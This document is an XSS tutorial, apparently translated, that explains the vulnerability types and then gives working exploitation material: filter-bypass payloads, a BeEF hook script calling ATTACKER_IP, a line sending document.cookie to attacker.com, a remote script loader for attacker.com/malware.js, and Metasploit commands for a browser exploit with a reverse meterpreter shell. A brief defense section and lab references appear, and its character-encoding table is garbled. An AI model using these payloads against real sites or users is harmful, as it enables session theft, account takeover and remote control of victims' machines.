XSS Vulnerability Overview
Cross-Site Scripting (XSS) represents a critical security flaw that consistently appears in the OWASP TOP10 vulnerability list.
XSS attacks exploit vulnerabilities in web applications by injecting malicious scripts into trusted websites. When users visit a page containing the injected code, the attacker's malicious script executes in their browser.
XSS gets its name because the original abbreviation CSS conflicted with Cascading Style Sheets. The Chinese translation "cross-site scripting" doesn't fully capture the essence—the core threat stems from JavaScript's powerful capabilities being weaponized against users.
Attackers inject JavaScript code through various input points such as comment sections, message boards, or search fields. If the application fails to properly sanitize user inputs, the malicious code executes whenever anyone views the affected content.
Potential Impact: Cookie theft, screen capture, gaining shell access to user machines, account hijacking, session劫持, injecting malicious content, redirecting users, browser hijacking via malware, and self-propagating XSS worms. JavaScript's capabilities extend far beyond what most users realize.
Detecting XSS Vulnerabiliteis
Proof of Concept (POC) code helps verify whether a target site contains XSS vulnerabilities. These compact scripts serve as evidence that the vulnerability exists.
Most applications filter <tags>, single quotes, double quotes, and backslashes.
Standard POC payloads:
<script>confirm('vulnerable')</script>
<script>prompt('check')</script>
<img src=x onerror=alert('xss')>
Submit these payloads through input fields and examine the output. If normal text appears but the script code vanishes from the rendered page, the XSS likely executed successfully. Checking the page source reveals whether the payload became embedded JavaScript.
Successful injection of even simple POC code means an attacker can deploy much more sophisticated malicious payloads.
XSS Classification
Stored (Persistent) XSS
The most severe variant stores malicious code in the server database. User-generated content like comments, forum posts, or articles gets permanently saved. When other users request this data, the malicious script executes automatically.
Reflected (Non-Persistent) XSS
The most common type occurs when application parameters are echoed back without proper sanitization:
https://target-site.com/search?q=<script>alert('xss')</script>
Visiting this link triggers the script because the application reflects the parameter value back in the response. Users must click a specially crafted link to become victims.
DOM-Based XSS
This vulnerability exists in client-side JavaScript that dynamically manipulates the page DOM. The server sends a normal page, but client-side scripts modify the DOM unsafely based on user-controlled data like URL fragments.
DOM-based XSS differs fundamentally because server-side protections cannot help—the vulnerability exists entirely in client-side code. Mitigation requires:
- Avoiding client-side document rewriting and redirects using user input
- Sanitizing DOM operations and encoding variables before DOM insertion
- Using server-side rendering when dynamic content depends on user input
XSS Payload Construction Techniques
JavaScript Pseudo-Protocol
<a href="javascript:alert('xss')">clickMe</a>
<img src="x" onerror="javascript:alert('xss')">
Event Handlers
HTML event attributes trigger JavaScript when specific user actions occur:
<img src="placeholder.jpg" onmouseover="alert('xss')">
<input type="text" onkeydown="alert('xss')">
Common event categories include window events, form events, keyboard events, mouse events, and media events.
CSS Exploitation
style="background-image:url(javascript:alert('xss'))"
Bypass Techniques for Filters
Case Manipulation
<IMG SRC="#" ONERROR="alert('xss')">
<A HREF="javascript:alert('xss')">click</A>
Quote Variations
HTML parsing treats all quote styles equivalently:
<img src="#" onerror="alert('xss')">
<img src="#" onerror='alert("xss")'>
<img src="#" onerror=alert('xss')>
Slash Replacement for Spaces
<IMG/SRC="#"/ONERROR="alert('xss')">
Tab and Newline Obfuscation
<A HREF="j
av
as
cript:alert('xss')">click</A>
Character Encoding
| Character | Decimal | Hexadecimal |
|---|---|---|
| a | a |
a |
| e | e |
e |
| Tab | 	 |
Insertable anywhere |
| Newline | |
Insertable anywhere |
| Carriage Return | |
Insertable anywhere |
<A HREF="javascript:alert('xss')">click</A>
Double Encoding
Some filters only decode once:
<scr<script>ipt>alert('xss')</scr</script>ipt>
Defense Strategies
Fundamental Principle: Never trust user-supplied input.
- Implement output encoding appropriate to the context (HTML encoding, JavaScript encoding, URL encoding)
- Use Content Security Policy headers to restrict script sources
- Employ HttpOnly flags on cookies to prevent JavaScript access
- Sanitize HTML input using libraries designed for this purpose
- Use template engines with automatic escaping
Browser Exploitation Framwork (BeEF)
BeEF is a penetration testing tool that controls victim browsers through injected hook scripts.
Initial Setup: Change default credentials in the configuration file before first use.
Usage Commands:
- Launch:
beef-xss - Control panel:
http://127.0.0.1:3000/ui/panel - Hook script:
<script src="http://ATTACKER_IP:3000/hook.js"></script> - Demo page:
http://127.0.0.1:3000/demos/butcher/
Cookie Hijacking
// Victim's cookies sent to attacker
new Image().src="http://attacker.com/log?c="+document.cookie;
If the application validates sessions via cookies, the attacker sets these cookies locally to bypass authentication.
Shell Access via Browser Exploitation
Using Metasploit with BeEF to achieve remote code execution:
msfconsole
use exploit/windows/browser/ms10_002_aurora
set payload windows/meterpreter/reverse_tcp
set SRVHOST 192.168.1.100
set LHOST 192.168.1.50
exploit
Redirect the compromised browser to the generated exploit URL. When successful:
sessions -i # List active sessions
sessions -i 1 # Interact with session 1
ps # View running processes
getuid # Get current user
migrate 1532 # Migrate to stable process
XSS Automation Platforms
Platforms like XSSpt.com provide automated infrastructure for XSS attacks. Users create projects, configure modules, and receive generated payloads to inject into vulnerable applications. These platforms automatically harvest stolen data and provide management interfaces.
Advanced Techniques
Location Hash Exploitation
window.location.hash
// URL: example.com/page#alert('executed')
// Retrieves: #alert('executed')
Combined attack:
https://target.com/page?q=<script>eval(location.hash.substr(1))</script>#alert('code')
Cookie-Based Storage
XSS payloads stored in cookies execute when applications display cookie values back to users.
AJAX-Based Remote Loading
var script = document.createElement('script');
script.src = 'http://attacker.com/malware.js';
document.body.appendChild(script);
Practice Environment
Dedicated vulnerable platforms like Pikachu and XSSChallenge provide safe environments for developing detection and exploitation skills without causing harm or facing legal consequences.